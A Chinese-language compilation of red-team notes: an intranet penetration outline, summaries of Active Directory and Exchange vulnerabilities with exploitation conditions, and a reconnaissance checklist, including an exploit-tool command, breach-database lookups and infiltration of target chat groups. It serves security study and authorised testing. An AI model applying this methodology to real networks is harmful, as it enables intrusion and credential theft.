  • [tool] MLoger - HTTP(S)/TCP/WS 抓包测试工具 https://github.com/momosecurity/Mloger
  • [tool] Web扫描器 nuclei,支持POC扫描 https://github.com/projectdiscovery/nuclei

软件包/组件/依赖安全

  • [tool] 开源漏洞库,组件安全,依赖安全 https://security.snyk.io/
  • [tool] 组件依赖安全检测 https://github.com/jeremylong/DependencyCheck

XXE

  • [tool] XXE盲打外传工具 https://github.com/TheTwitchy/xxer
  • [tool] 攻击Java RMI https://github.com/NickstaDB/BaRMIe

Java安全

  • [book] Java安全 https://github.com/anbai-inc/javaweb-sec
  • [tool] 优化版本yso https://github.com/zema1/ysoserial

前端黑魔法

  • paper 反爬虫JS破解与混淆还原手册 https://github.com/LoseNine/Restore-JS

Defense

入侵检测 Detection

  • [blog] 针对微软活动目录(AD)的七大高级攻击技术及相应检测方法 https://www.anquanke.com/post/id/161815
  • [blog] 攻防对抗:活动目录中的欺骗技术 https://www.anquanke.com/post/id/162210
  • [tool] Webshell查杀 http://www.shellpub.com/
  • [paper] eBPF进程阻断 https://www.cnxct.com/linux-kernel-hotfix-with-ebpf-lsm/
  • [paper] Tetragon进程阻断原理 https://www.cnxct.com/how-tetragon-preventing-attacks/

溯源反制

  • [tool] 利用JetBrains来进行RCE反制 https://github.com/CC11001100/idea-project-fish-exploit

主机加固

  • [blog] 隐藏其他用户的进程信息 https://linux-audit.com/linux-system-hardening-adding-hidepid-to-proc/

法律法规 Laws

  • 美国信息泄露通知法 https://en.wikipedia.org/wiki/Security_breach_notification_laws

转自文章来源: https://kingx.me/pentest-tools/

0x00 红队基础知识

一、构建一个大型内网域环境搭建

  • 父域控制器
  • 子域控制器
  • 辅域控制器
  • 域内主机
  • 域内服务器

二、Windows NTLM(NT LAN Manager)认证原理Kerberos 域内认证原理

0x02 内网信息搜集篇

一、工作组和大型域内网如何进行信息搜集

  • 如何搜集本机密码

    • MySQL
    • SQL Server
    • ... ...
    • Linux 如何搜索特定的密码文件
    • 搜集指定用户的命令历史记录中的各种明文密码
    • Windows 2012 高版本以上如何搜集密码

    • Windows 2012 版本以下如何搜集密码

    • 关于 Linux 下如何搜集各种密码信息

    • 无线密码抓取

    • 组册表里各种健值敏感信息

    • 搜集数据库中保存的各类高价值账号密码

    • 搜集保存在目标系统本地各种文档中的明文密码

    • 针对各类常用 windows 办公软件的各类密码搜集

  • 如何搜集VPN密码

  • 如何搜集浏览器相关凭证

    • Chrome 浏览器抓取凭证
    • Firefox 浏览器抓取凭证
    • 360 浏览器抓取凭证
    • IE 浏览器抓取凭证
  • 如何搜集各种数据库信息

    • 通过 LDAP 定位核心机器
    • 通过 LDAP 获取内网架构分布
    • 通过 LDAP 获取内网组织架构
    • 通过 LDAP 获取域内核心机器
    • Mysql

    • SQL Server

    • Oracle

    • PostgreSQL

    • LDAP

  • 根据当前跳板机器搜集网络环境(判断那种协议出网)

  • 获取当前系统的详细IP配置,包括所在域, ip, 掩码, 网关, 主备 dns ip

  • 获取当前系统最近的用户登录记录

  • 获取当前用户的所有命令历史记录(针对于 Linux)

  • 远程截屏捕捉目标用户敏感操作

  • 获取当前机器环境变量(Java、Python、Go ...)

  • 获取当前本机 rdp / ssh 端口开启状态及其默认端口号

  • 获取本机所有已安装软件的详细列表

  • 获取本机各个浏览器中保存的、书签页、历史浏览记录

  • 获取当前用户桌面、回收站里的所有文件列表

  • 获取当前系统代理

  • 获取当前系统的所有 ipc 连接、共享

  • 获取当前系统host文件内容

  • 利用系统自带截屏捕捉目标用户敏感操作

  • ...

二、搜集目标内网邮箱

  • 企业内网邮箱信息搜集

    • 通过邮箱对内网进行整体分析
  • Exchange内网邮箱信息搜集

    • 通过邮箱对内网进行整体分析
  • ... ...

三、搜集目标内网各种Web页面、Web框架、登陆入口

  • Tomcat
  • Struts2
  • Weblogic
  • Jboss
  • Jekins
  • Apache Solr
  • ... ...

四、搜集各类客户端软件

  • FTP

    • XFtp
    • WinSCP
    • FileZilla
    • Xshell
    • MobaXterm
  • 远程客户端管理

    • 向日葵
    • TeamViewer
  • SSH

    • WinSCP
    • MobaXterm
    • Xshell

五、对于内网存活机器信息搜集

  • NetBIOS
  • ICMP
  • TCP
  • UDP
  • ARP

六、针对成百上千的内网如何快速信息搜集

  • 如何快速对一个 C 段进行信息搜集
  • 如何快速对一个 B 段进行信息搜集
  • 如何快速对一个 A 段进行信息搜集

0x03 内网穿透、流量代理、端口转发篇

一、根据当前跳板机器判断出网情况

  • TCP/UDP
  • ICMP
  • DNS
  • HTTP
  • HTTPS

二、正/反向代理连接工具

  • Metasploit
  • CobaltStrike
  • proxychains
  • SSocks
  • frp
  • ...

三、端口转发

  • LCX
  • Metasploit
  • netsh
  • iptables
  • powershell

四、内网穿透工具

  • FRP
  • NPS
  • spp
  • venom

五、针对不出网主机如何上线到 C2(Metasploit、CobaltStrike)

  • DNS
  • HTTP
  • ICMP
  • SMB

六、针对常规不出网主机如何做内网穿透、流量代理

  • DNS出网的话

    • iodine
  • HTTP/HTTPS出网的话

    • reGeorg
    • Neo-reGeorg

0x04 权限提升篇

一、Windows

  • Windows 提权之内核溢出提权

  • Windows 提权之土豆系列(Windows 9 种权限利用)

  • Windows 提权之第三方服务提权

  • Windows 提权之系统错误配置提权

  • Windows 提权之 Bypass UAC

  • 数据库提权

    • Mysql UDF 提权
    • Mysql MOF 提权
    • SQL Server XP_cmdshell 提权
    • SQL Server SP_oacreate 提权
    • SQL Server 其他提权
    • ... ... 等等

二、Linux

  • Linux 提权之内核溢出提权
  • Linux 提权之 SUID 提权
  • Linux 提权之利用错误配置提权
  • Linux 提权之计划任务提权
  • Linux 提权之利用高权限服务提权
  • ... ... 等等

0x04 各种 C2 使用以及深度分析篇

一、Metasploit

  • Metasploit|七大模块详解

  • Metasploit|针对 Auxiliary 辅助模块的常规使用

  • Metasploit|针对 Exploit 漏洞利用模块的常规使用

  • Metasploit|针对 Payload 模块生成各种(正/反)漏洞利用可执行文件

  • Metasploit|针对 Post 后渗透利用模块的常规使用

  • Metasploit|获取当前机器的明文密码及 Hash

  • Metasploit|获取提权的有效模块进行权限提升

  • Metasploit|窃取键盘记录、获取目标屏幕截图、文件上传下载操作、以及 load 扩展使用

  • Metasploit|根据当前跳板机器如何添加路由、进行端口转发、内网穿透

  • Metasploit|如何连接到 Postgresql 数据库进行管理渗透记录

  • Meterpreter|添加 Socks 代理

  • Meterpreter|设置 session 永久不掉线(防止权限丢失)

  • Meterpreter|设置上线之后自动进程迁移(防止权限丢失)

  • Meterpreter|开启目标远程桌面服务 3389 端口

  • Meterpreter|针对内网各种服务进行爆破

    • 针对内网所有 Windows 存活机进行批量 SMB 爆破
    • 针对内网所有 Mssql 存活机进行批量爆破
    • 针对内网所有 Mysql 存活机进行批量爆破
    • 针对内网所有 Linux 存活机 进行批量 Ssh 爆破
    • 针对内网所有 Redis 存活进行批量爆破
    • 针对内网所有存活 Postgresql 进行批量爆破
    • 针对内网所有存活 Telnet 进行批量爆破
    • 针对内网所有存活 Ftp 进行批量爆破
    • 针对内网 Exchange 的 ews 接口爆破
  • Meterpreter|如何发现内网下各类高价值存活主机

    • 探测内网 SMB,Windows 存活
    • 探测内网 SSH,Linux 存活
    • 探测内网 MySQL 存活
    • 探测内网 MsSQL 存活
    • 探测内网 RDP 存活(3389)
    • 探测内网 Telnet 存活
    • 探测内网 FTP 存活
    • 探测内网 Web 组件快速批量识别
    • 探测内网 MS17-010 漏洞
    • 探测内网 CVE-2019-0708 漏洞
  • Metasploit 与 Cobalt Strike 双双联动

  • 如何单靠 Metasploit 来对内网进行渗透

二、CobaltStrike

  • Cobalt Strike|安装与简介
  • Cobalt Strike|创建监听以及生 Payload
  • Cobalt Strike|如何基于 HTTP / SMB 上线
  • Cobalt Strike|如何抓当前机器的密码 HASH
  • Cobalt Strike|内网端口扫描以及发现内网存活机器
  • Cobalt Strike|端口转发、Socks 代理
  • Cobalt Strike|进程窃取、屏幕截图、键盘记录、进程迁移
  • Cobalt Strike|第三方插件的使用(渗透攻击红队)
  • Cobalt Strike|如何造轮子写一个自己的插件
  • Cobalt Strike|内网批量上线
  • Cobalt Strike|针对于不同的网络环境上线不出网的机器
  • Cobalt Strike|中转上线内网不出网的机器
  • Cobalt Strike 与 Metasploit 双双联动

三、Poshc2TSH... ...

0x05 内网横向移动篇

一、基于 Metasploit 下的横向移动基于 Cobalt Strike 下的横向移动利用 PsExec 来横向移动利用 SMBExec 来横向移动利用 WMIExec 来横向移动IPC 命令行攻击

  • at 定时任务
  • schtasks 定时任务
  • wmic
  • WinRm

二、哈希传递(Pass The Hash)横向移动

0x06 域内攻击篇

从域外对域内进行枚举搜集各类信息从域外对域内进行密码喷洒攻击令牌窃取在实际域渗透中的灵活运用哈希传递(Pass The Hash)攻击MS14-068 票据传递(Pass the Ticket)攻击域渗透中活动目录 ntds.dit 文件的获取与实际应用Windows 2008 GPP 组策略首选项漏洞利用域渗透之非约束委派攻击利用域渗透之约束委派攻击利用域渗透之基于资源的约束委派攻击利用NetLogon 域内提权漏洞(CVE-2020-1472)利用 krbtgt 来打造 Golden Ticket(黄金票据) 对域内进行权限维持通过服务账号 Hash 来打造 Silver Ticket(白银票据) 进行 PTK内网渗透中的 Net-NTLM Relay Attack利用 Skeleton Key 对域内权限进行权限维持通过 Hook PasswordChangeNotify 拦截修改的帐户密码通过 SSP 来获取目标登陆的凭据从而达到权限维持的手段通过 GPO(组策略对象)批量控制域内主机AS-REP Roasting Attack多种域内漏洞组合拳利用跨域攻击、如何从子域攻击到主域无域用户下如何进行域渗透如何从 A 域 渗透到 B 域域内定向攻击,获取指定机器的权限通过 Windows 域外远程获取目标域内数据通过 Linux 域外远程获取目标域内数据

0x07 Exchange 攻击篇

对内网里 Exchange 邮件服务进行枚举邮箱用户和密码喷洒攻击对内网里 Exchange 邮件服务进行 NTLM RelayExchange CVE-2020-0688 远程代码执行漏洞利用Exchange 常规内外网打点搜集  [Exchange存活、目标 Exchange 接口、定位 Exchange 服务器]基于 Metasploit 对 Exchange 的常规接口爆破Exchange 导出指定邮件内网...

0x08 杀软对抗篇

免杀制作思路基于白名单绕过Payload 免杀编写Bypass add userCobalt Strike Profile 分析以及编写通过域名+CDN 隐藏 C2(Metasploit、CobaltStrike)Metasploit 通过 ACL 隐藏 Bind Shell

0x09 权限维持篇

工作组下如何进行内网渗透域环境下如何进行内网渗透Linux 集群环境渗透姿势


1.MS14-068

kerberos认证,no PAC

用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据

漏洞效果:

将任意域用户提升到域管权限

利用条件:

1.小于2012R2的域控 没有打MS14-068的补丁(KB3011780)

2.拿下一台加入域的计算机

3.有这台域内计算机的域用户密码和Sid

利用方式:

在《Kerberos认证及过程中产生的攻击》一文中有详细讲

这可以看 https://cloud.tencent.com/developer/article/1760132

2.CVE-2020-1472

NetLogon特权提升漏洞(CVE-2020-1472)是一个windows域控中严重的远程权限提升漏洞。

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致

以将域控机器用户的password设置为空。

这样我们就可以导域管hash,最后再还原域控机器用户的密码

漏洞效果:

可利用此漏洞获取域管访问权限

影响版本:

利用方式:

https://cloud.tencent.com/developer/article/1780108

https://cloud.tencent.com/developer/article/1837483

3.CVE-2021-42287&42278

Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权限提升。攻击者可利用该漏洞造成将域内的普通用户权限提升到域管理员权限

漏洞效果:

将任意域用户提升到域管权限

影响版本:

利用条件 :

(1)一个普通域成员帐户

(2)域用户有创建机器用户的权限(一般默认权限)

(3)DC未打补丁KB5008380或KB5008602

利用方式:

https://blog.csdn.net/FHLZLHQ/article/details/121964692


4.CVE-2021-1675/CVE-2021-34527

PrintNightmare 此漏洞一开始为CVE-2021-1675,随后微软把此漏洞分配给了CVE-2021-34527,并提到了两个漏洞很像,但是攻击向量是不同的。

Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启 Print Spooler 服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。

漏洞效果:

未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权

影响版本:

利用场景

  • 在工作组环境下,可通过该漏洞获取系统最高权限;
  • 域环境下,直接攻击域控制器可以获取域控的SYSTEM权限,执行任意代码;
  • 可用于持久化的操作,得到域控后,在有共享目录、能访问到域控的情况下,远程的加载共享目录下的DLL。

利用条件

  • 目标开启Spooler服务;
  • 一个普通权限的域账户;
  • 创建的smb服务允许匿名访问,即目标可以直接获取到文件。

利用方式

https://bewhale.github.io/posts/29501.html

https://mp.weixin.qq.com/s/1sR0wTyJFf5UnuPjtJ-DWw

5.CVE-2019-1040

2019年6月,Microsoft发布了一条安全更新。该更新针对CVE-2019-1040漏洞进行修复。此次漏洞,攻击者可以通过中间人攻击,绕过NTLM MIC(消息完整性检查)保护,将身份验证流量中继到目标服务器。

漏洞效果

通过这种攻击使得攻击者在仅有一个普通域账号的情况下可以远程控制 Windows 域内的任何机器,包括域控服务器。

影响版本

Windows 7 sp1 至Windows 10 1903

Windows Server 2008 至Windows Server 2019

利用场景

对于特定环境, CVE-2019-1040漏洞的攻击链目前已经确定的两种攻击途径:

1、攻击域Exchange Server (下面以这种途径来描述)

2、攻击域AD Server(结合基于资源的约束委派)

利用条件

A、Exchange服务器可以是任何版本(包括为PrivExchange修补的版本)。唯一的要求是,在以共享权限或RBAC模式安装,Exchange默认具有高权限。 B、域内任意账户。(由于能产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户) C、CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。 D、构造请求使Exchange Server向攻击者进行身份验证,并通过LDAP将该身份验证中继到域控制器,即可使用中继受害者的权限在Active Directory中执行操作。比如为攻击者帐户授予DCSync权限。 E、如果在可信但完全不同的AD林中有用户,同样可以在域中执行完全相同的攻击。(因为任何经过身份验证的用户都可以触发SpoolService反向连接)

漏洞利用攻击链

1、使用域内任意帐户,通过SMB连接到被攻击ExchangeServer,并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。 2、中继服务器通过SMB回连攻击者主机,然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。 3、使用中继的LDAP身份验证,此时Exchange Server可以为攻击者帐户授予DCSync权限。 4、攻击者帐户使用DCSync转储AD域中的所有域用户密码哈希值(包含域管理员的hash,此时已拿下整个域)。

利用方式:

同一网段内:https://www.freebuf.com/vuls/274091.html

隧道下:https://zhuanlan.zhihu.com/p/142080911

CVE-2019-1040+RBCD(基于资源的约束性委派)+PetitPatom

6.域委派攻击

https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ

7.NTLM Relay

https://www.anquanke.com/post/id/193149 https://www.anquanke.com/post/id/193493 https://www.anquanke.com/post/id/194069 https://www.anquanke.com/post/id/194514

8.ADCS漏洞--ESC8(PetitPotam)(ADCS relay)

ESC8是一个http的ntlm relay,原因在于ADCS的认证中支持NTLM认证

漏洞效果:

将普通域用户提升到域管权限

利用条件:

1.未打adcs的补丁 2.有两台域控 3.有adcs服务

利用方式:

https://blog.csdn.net/qq_43645782/article/details/119322322

https://forum.butian.net/share/1583

9.ADCS漏洞--CVE-2022–26923

漏洞影响: 允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员

漏洞组件:活动目录证书服务(Active Directory Certificate Services,AD CS)

漏洞简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。

受影响的 Windows 版本:

Windows 8.1

Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2

Windows 11

Windows Server 2008,2012,2016,2019,2022

利用先决条件:

CVE-2022-26923/CVE-2022-26931漏洞与2021年CVE-2021-42278/CVE-2021-42287sAMAccountName spoofing漏洞类似,均通过利用伪造域控制器名称身份来进行相关的提权操作。它的利用先决条件为:

  1. 该提权漏洞适用于所有的Windows服务器活动目录版本,包含目前位于微软产品支持范围内的Windows Server 2012 R2到Windows Server 2022,以及超出产品支持范围的旧Windows服务器版本。
  2. 入侵者至少控制一个活动目录用户账户,该用户账户对于活动目录中至少一个计算机账户具有“Validated write to DNS host name”权限。默认情况下,单个活动目录普通域用户可以加入或创建(包含创建空账户)10个计算机账户到活动目录中,并对自己所加入/创建的计算机账户具有CREATOR OWNER管理权限(包含“Validated write to DNShost name”权限)。因此该权限较为容易获得。
  3. 在活动目录内部部署有企业证书服务,并允许上述被控制的计算机账户申请计算机身份验证证书。企业证书服务是活动目录中广泛部署的一种相关基础服务,并且默认情况下,与活动目录集成的企业证书服务默认即允许域内计算机申请计算机身份验证证书。

复现参考:

https://forum.butian.net/share/1578

https://forum.butian.net/share/1583

10.Exchange相关,可控制Exchange服务器

Exchange在域内有着重要的地位,一般来说,拿到Exchange服务器的权限,基本等同于拿到域管的权限。拿到Exchange服务器,有很大概率就是域管直接登录的。或者域管曾经登录过。拿到Exchange服务器权限的时候,可以尝试直接dir下域控的C盘,看有没有权限。如果没有权限,再尝试使用mimikatz抓一波密码,很大概率可以直接抓到域管或者高权限用户。而且就算是高版本的server,在Exchange上也能抓到明文密码。

11.CVE-2018-8581 (拿域控)

漏洞描述:

该漏洞利用了 Exchange 服务器的 SSRF 和高权限的请求,导致拥有合法邮箱凭证的用户可以被提升至域管权限

影响范围:

利用条件:

Exchange 默认配置下,攻击者拥有合法的邮箱用户凭证,同时,该漏洞利用是通过 NTLM Relay的方式进行提权,因此攻击者需要已经在内网环境中取得可用主机。

漏洞简介:

该漏洞的发生源于几个方面:

  • 首先,Exchange 允许任意用户(只要是通过了认证的)通过 EWS 接口来创建一个推送订阅(Push Subscription),并可以指定任意 URL 作为通知推送的目的地;
  • 其次,通知被订阅推送后,当触发推送时,Exchange 使用了 CredentialCache 类的 DefaultCredentials 属性,由于 EWS 以 SYSTEM 权限运行,当使用 DefaultCredentials 时发出的 HTTP 请求将使用该权限发起 NTLM 认证;
  • 在 EWS 请求中,通过在 Header 中使用 SerializedSecurityContext,指定 SID 可以实现身份伪装,从而以指定用户身份进行 EWS 调用操作。

也就是说【我们可以控制Exchange服务器向我们发起HTTP 协议的NTLM 请求,这样我们就能拿到Exchange机器用户的 Net-Ntlm Hash】

由于该漏洞利用涉及 NTLM 的重放攻击,一种很容易想到的思路就是将该凭证重放到域控机器。由于重放的 NTLM 凭证来自 Exchange 服务器的机器用户权限,根据Relay To LDAP一节的描述,我们知道Exchange机器用户具有write-acl权限,可以给任意用户提权,赋予Dcsync的权限,从而dump出所有密码哈希值。

服务端是否要求签名:

我们Relay到的服务端是Ldap,在前面【ldap签名】一节提到,Ldap服务器的默认策略是协商签名。是否签名是由客户端决定的。客户端分情况,如果是smb协议的话,默认要求签名的,如果是webadv或者http协议,是不要求签名的

在这个漏洞里面发起的请求是http协议,这也就意味着我们什么都不用做,在这个漏洞中并不要求签名。

EXP :

复现可以参考这篇文章:

CVE-2020-0688 (RCE)

漏洞描述:当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码,就可以在被攻击的exchange上执行任意代码,直接获取服务器权限。

利用条件:Exchange Server 2010 SP3/2013/2016/2019,普通账号。

攻击脚本:

复现:

https://www.anquanke.com/post/id/226543#h3-13

12.CVE-2020-17144 (RCE)

漏洞描述:远程攻击者通过构造特殊的cmdlet参数,绕过身份验证利用改漏洞可造成任意远程命令执行。

利用条件:Exchange2010,普通账号。

攻击脚本1:

攻击脚本2:

13.CVE-2020-16875 (RCE)

漏洞描述:远程攻击者通过构造特殊的cmdlet参数,可造成任意命令执行。

影响版本

Exchange Server 2016 CU17

Exchange Server 2016 CU16(已测)

Exchange Server 2019 CU5

Exchange Server 2019 CU6

利用条件:Exchange Server 2016/2019,普通账号。

攻击脚本:

复现:https://cloud.tencent.com/developer/article/1704777

14.CVE-2021-26855/CVE-2021-27065(getshell)(SSRF+任意文件写入)

Exchange ProxyLogon远程代码执行漏洞

漏洞概述:

CVE-2021-26855与CVE-2021-27065是微软在2021年3月2日发布的高危漏洞公告。这套组合拳被称为ProxyLogon,可直接获取目标邮件服务器主机权限。

CVE-2021-26855 SSRF 漏洞 ,该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。

CVE-2021-27065 任意文件写入漏洞,该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞可绕过权限认证进行文件写入。

影响范围:

Exchange Server 2019 < 15.02.0792.010

Exchange Server 2019 < 15.02.0721.013

Exchange Server 2016 < 15.01.2106.013

Exchange Server 2013 < 15.00.1497.012

利用原理:

通过ssrf漏洞读取到邮箱用户的SID——>通过有效SID结合任意文件写入漏洞上传以.aspx结尾的文件,在其中插入一句话木马——>造成交互式shell。

利用条件:

需要邮箱用户名称

该漏洞不同于以往的 exchange 漏洞,此漏洞并不需要一个可登录的用户身份,可以在未授权的情况下获取内部用户资源,配合 CVE-2021-27065 可以实现远程命令执行。

漏洞触发必要条件

  • 目标服务器存在漏洞
  • 目标 exchange 服务器必须为负载均衡服务器,即同时使用两台及以上服务器
  • 目标邮箱地址,注意,该地址需要为域内邮件地址而非邮箱地址,二者存在差异
  • 攻击者还必须标识内部Exchange服务器的完全限定域名(FQDN)

以上四项中,FQDN 可以通过 ntlm type2 消息抓取;邮件地址可以直接枚举。

利用CVE-2021-26855 SSRF漏洞枚举邮箱:

(工具:https://github.com/charlottelatest/CVE-2021-26855)

因为我们通过nmap获取了域名。user.txt里面为我们加入的邮箱名字典

go run CVE-2021-26855.go -h 192.168.110.152 -U user.txt

利用方式:

复现:

https://blog.csdn.net/qq_44159028/article/details/123825115

分析与复现:

https://www.anquanke.com/post/id/259902

15.CVE-2021-34473 (RCE) (SSRF)

Exchange ProxyShell SSRF

漏洞描述:

攻击者利用该漏洞可绕过相关权限验证,进而配合其他漏洞可执行任意代码,控制Microsoft Exchange Server。

ProxyShell攻击链利用使用了以下漏洞:

CVE-2021-34473 Microsoft Exchange ACL绕过漏洞

CVE-2021-34523 Microsoft Exchange权限提升漏洞

CVE-2021-31207 Microsoft Exchange授权任意文件写入漏洞

微软官方于 2021年4月已发布相关补丁,2021年7月发布漏洞通告,可前往微软官方下载相应补丁进行更新:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473

影响版本

Microsoft Exchange Server 2010

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

利用条件:

仅仅需要邮箱用户名称(用户名即可))

利用方法:

复现:

https://www.cnblogs.com/colin-B/p/15783751.html

https://blog.csdn.net/qq_40989258/article/details/119750829

16.CVE-2022-41028(RCE)

Microsoft Exchange Server 存在远程代码执行漏洞,经过身份验证的攻击者可利用此漏洞在目标系统上执行任意代码。




原文连接:https://github.com/HackingCost/AD_Pentest

作者:HackingCost

日常流程简要说明

入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护

0x01 入口权限获取 [ 前期侦察,搜集阶段本身就不存在太多可防御的点,非防御重心 ]

1.绕CDN找出目标所有真实ip段
(1).通过全国多个PING,查看IP地址是否唯一来判断是否存在CDN
http://ping.chinaz.com/
https://tools.ipip.net/ping.php
https://www.17ce.com/
https://www.cdnplanet.com/tools/cdnfinder/
(2).通过之前的DNS绑定历史记录来查找真实IP地址
https://x.threatbook.cn/
https://viewdns.info/
https://www.ip138.com/
http://toolbar.netcraft.com/site_report?url=
https://securitytrails.com/
(3).通过获取多个子域名,并批量对多个子域名进行ping,可判断该子域名的IP段就是真实IP段(主站用了CND,而子域名分站不用Cdn解析)
Layer子域名挖掘机/GoogleHacking
https://phpinfo.me/domain/
http://tool.chinaz.com/subdomain/
https://github.com/lijiejie/subDomainsBrute
(4).利用SSL证书寻找真实原始IP
https://censys.io/
https://crt.sh/
(5).使用国外主机解析域名
https://asm.ca.com/zh_cn/ping.php
https://asm.saas.broadcom.com/zh_cn/register.php
https://dnscheck.pingdom.com
(6).网站漏洞查找如phpinfo或者github敏感信息泄露或者Apache status和Jboss status敏感信息泄露、网页源代码泄露、svn信息泄露信、github信息泄露
(7).网站邮件订阅查找
RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。
(8).入侵CDN,通过漏洞或者或者社工弱口令进入。
(9).通过ZMAP和Zgrab全网扫描获取真实IP
获取IP段:
https://www.ip2location.com/free/visitor-blocker
https://www.ipdeny.com/ipblocks/
https://www.t00ls.net/articles-40631.html(Zgrab)
https://levyhsu.com/2017/05/%e5%88%a9%e7%94%a8zgrab%e7%bb%95cdn%e6%89%be%e7%9c%9f%e5%ae%9eip/
http://bobao.360.cn/learning/detail/211.html(ZMAP)
(10).网络空间安全引擎搜索
钟馗之眼:https://www.zoomeye.org
Shodan:https://www.shodan.io
Fofa:https://fofa.s
(11).奇特的 ping
如ping www.163.com,如果ping 163.con就可以绕过
(12).可以ping以前的旧的域名
(13).F5 LTM解码法
当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取出来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的真实ip
2.找目标的各种Web管理后台登录口
(1)批量抓取目标所有真实C段 Web banner
工具:iisput
(2).批量对目标所有真实C段进行基础服务端口扫描探测识别
工具:御剑端口扫描,Goby
(3).尝试目标DNS是否允许区域传送,如果不允许则继续尝试子域爆破
DNS域传输:
C:\Users\lj>nslookup
默认服务器:  UnKnown
Address:  211.82.100.1
> server dns1.thnu.edu.cn
默认服务器:  dns1.thnu.edu.cn
Address:  125.223.168.5
> ls thnu.edu.cn
子域名爆破:
Layer
(4).批量抓取目标所有子域 Web banner
Layer
(5)、批量对目标所有子域集中进行基础服务端口探测识别
工具:御剑端口扫描,Goby
(6)批量识别目标所有存活Web站点的Web程序指纹及其详细版本
https://github.com/EdgeSecurityTeam/EHole
https://github.com/zhzyker/vulmap 
http://finger.tidesec.com/
http://whatweb.bugscaner.com/look/
https://fp.shuziguanxing.com/#/
https://www.yunsee.cn/
(6)从 Git 中查找目标泄露的各类 敏感文件 及 账号密码,偶尔甚至还能碰到目标不小心泄露的各种云的 "AccessKey"
https://github.com/0xbug/Hawkeye
https://github.com/FeeiCN/GSIL
(6)从网盘/百度文库 中查找目标泄露的各类 敏感文件 及 账号密码
http://www.daysou.com/(网盘搜索) 
(7)从各第三方历史漏洞库中查找目标曾经泄露的 各种敏感账号密码 [ 国内目标很好使 ]
https://www.madebug.net/
(8)目标Svn里泄露的各类 敏感文件
工具:Seay SVN漏洞利用工具
(9)网站目录扫描 [ 查找目标网站泄露的各类敏感文件, 网站备份文件, 敏感配置文件, 源码 , 别人的webshell, 等等等...]
 工具:御剑目录,dirsearch
https://github.com/foryujian/yjdirscan
https://github.com/maurosoria/dirsearch 
(10)目标站点自身在前端代码中泄露的各种敏感信息
(11)fofa / shodan / bing / google  hacking 深度利用
(12)搜集目标 学生学号 / 员工工号 / 目标邮箱 [ 并顺手到各个社工库中去批量查询这些邮箱曾经是否泄露过密码 ]
学生学号官网网站以及贴吧论坛收集,员工工号到官网网站或者社工库和github上搜索
(13)目标自己对外提供的各种 技术文档 / wiki 里泄露的各种账号密码及其它敏感信息
(14)目标微信小程序以及公众号
(15)分析目标app Web请求
(16)借助js探针搜集目标内网信息
(17)想办法混入目标的各种 内部QQ群 / 微信群
(18)分析目标直接供应商 [尤其是技术外包]
(19)根据前面已搜集到的各类信息制作有针对性的弱口令字典
https://xsshs.cn/xss.php?do=pass
(20)目标所用 Waf 种类识别 与 绕过
https://github.com/EnableSecurity/wafw00f(waf识别) 
(21)BypassWAF 文件上传 / 读取 / 下载
(22) BypassWAF Sql注入
(23) BypassWAF RCE
(24) BypassWAF 各类Java Web中间件已知Nday漏洞利用 (25)BypassWAF Webshell 免杀 其它更多 , 待补充修正...

0x02 入口权限获取 [ 外部防御重心 ( "重中之重" ) ]

此阶段,主要是针对各主流 "中间件 + 开源程序 + Web服务组件" 自身的各种已知Nday漏洞利用
如下已按 "实际攻击利用的难易程度""获取到的shell权限高低" 为标准进行了详细排序,由于完全以实战利用为导向
故,仅仅只挑选了一些相对会经常遇到的,且实战中确实能有效协助快速getshell 的 "中间件" , "开源程序""web组件"

针对各类Java中间件的各种已知Nday漏洞利用

不同于其它脚本类web程序,Java的运行权限通常都比较高,甚至大部分都是直接用root/administrator/system权限在跑
所以拿到的shell权限一般也非常高,通常都直接是服务器权限
尤其是在各种红队场景中,入侵者一般也都会首选这些点,并以此为突破口来获取一个稳定的跳板机入口权限
关于到底哪些行业特别爱用哪些中间件,这些也应该都是有事先分析梳理汇总好的
  • Struts2
Struts2-005
Struts2-008
Struts2-009
Struts2-013
Struts2-016(实际上,很多都老系统都漏补了这个洞,成功率较高)
Struts2-019
Struts2-020
Struts2-devmode
Struts2-032
